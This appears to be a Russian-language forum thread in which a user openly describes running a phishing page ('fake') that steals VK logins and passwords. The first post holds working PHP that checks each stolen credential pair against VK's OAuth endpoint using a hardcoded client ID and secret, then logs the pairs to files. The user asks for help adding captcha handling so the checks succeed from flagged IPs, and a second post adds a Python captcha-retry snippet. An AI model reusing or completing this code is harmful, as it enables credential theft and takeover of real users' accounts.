Перейти к содержимому



Купить ссылку здесь
Фотография
- - - - -

Кто понимает в PHP отзовитесь.

Форум ZiSMO.biz
авторизация вк php капча
1
В теме одно сообщение

OFFLINE Отправлено

AnonimS
группа пользователя

    И тут тоже.

  • Cообщений: 294
  • Друзей:6
  • Поинты: 0
  • Предупреждений: 0
  • Онлайн:4д 23ч 19м
6

Приветствую всех! Надеюсь, что найду тут поддержку, все перекопал по данному вопросу, в PHP я не силен, но азы знаю. Проблема следующая: есть фейк, которые собирает логины и пароли в файл, авторизация происходит прямым методом посредством GET и POST запросов, если я захожу с чистого IP, то нормально, все работает, как только IP меняю на заспамленный или любой грязный, то соответственно возвращает капчу. Необходимо дописать обработку капчи. Код вот

If (isset($_POST['email'])){ 
 $email = iconv('utf-8', 'windows-1251', $_POST['email']);
 $password = iconv('utf-8', 'windows-1251', $_POST['password']);
 $res=curl('https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$email.'&password='.$password.'&captcha_key=&captcha_sid=');
 $lo='access_token';
 $pos = strripos($res, $lo);
if ($pos === false) {
	$fp1 = fopen("all.php", "a"); 
 $mytext = "$email:$password\r\n";
 $test = fwrite($fp1, $mytext);
 fclose($fp1);
$info='<div class="alert alert-danger">Ошибка! Вы ввели неверный логин или пароль! '.$proxy.'</div>';
}else{
$res = json_decode($res, true);
$id=$res['user_id'];

$name = curl('https://api.vk.com/method/users.get?user_ids='.$id.'&fields=counters');
$name = json_decode($name, true);

$res = json_decode($res, true);
$id=$res['user_id'];
$fp = fopen("base.php", "a"); 
 $mytext = "$email:$password\r\n";
 $test = fwrite($fp, $mytext);
 fclose($fp);
 


$fulname=$name['response']['0']['first_name'].' '.$name['response']['0']['last_name'];
$info='<div class="alert alert-success">'.$fulname.', Ваша заявка принята, ожидайте обработки!</div>';

 }
} 

Получается есть форма, беру логин пас и отправляю вк, вк возвращает токен и пароль пишется в файл, но последнее время начал возвращать вот это 

{"error":"need_captcha","captcha_sid":"854844498568","captcha_img":"http:\/\/api.vk.com\/captcha.php?sid=854844498568&s=1"} 

Думаю надо дописать функцию, которая брала значения сида, а возвращала капчу ключ или через if, если есть капча, то окно с картинкой и полем, по кнопке отправляет такой повторный запрос

$res=curl('https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$email.'&password='.$password.'&captcha_key='.данные из поля.'&captcha_sid='.наш сид.'');

Так же нужно все это в цикл, если ввел неправильно, по опять вернулась капча другая и так пока не придет токен.

 

Кто поможет могу поставить "нравиться"





    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

AnonimS
группа пользователя

    И тут тоже.

  • Cообщений: 294
  • Друзей:6
  • Поинты: 0
  • Предупреждений: 0
  • Онлайн:4д 23ч 19м
6

Нашел несколько примерно похожих варианта, есть на python

if is_response:
        join = json.loads(response.text)['response']
        print('Вступили в группу (' + group_name + ')' + '(' + str(id_group) + ')')
    else:
        join = json.loads(response.text)['error']
        print(error_msg)
        if code_error == 14:
            print(join['captcha_img'])
            capcha_key = input('Введите код с капчи ')
            capcha_sid = join['captcha_sid']
            join_group(id_group, group_name, capcha_sid, capcha_key)

    • 0
  • Наверх
  • Ответить



Напишите свое сообщение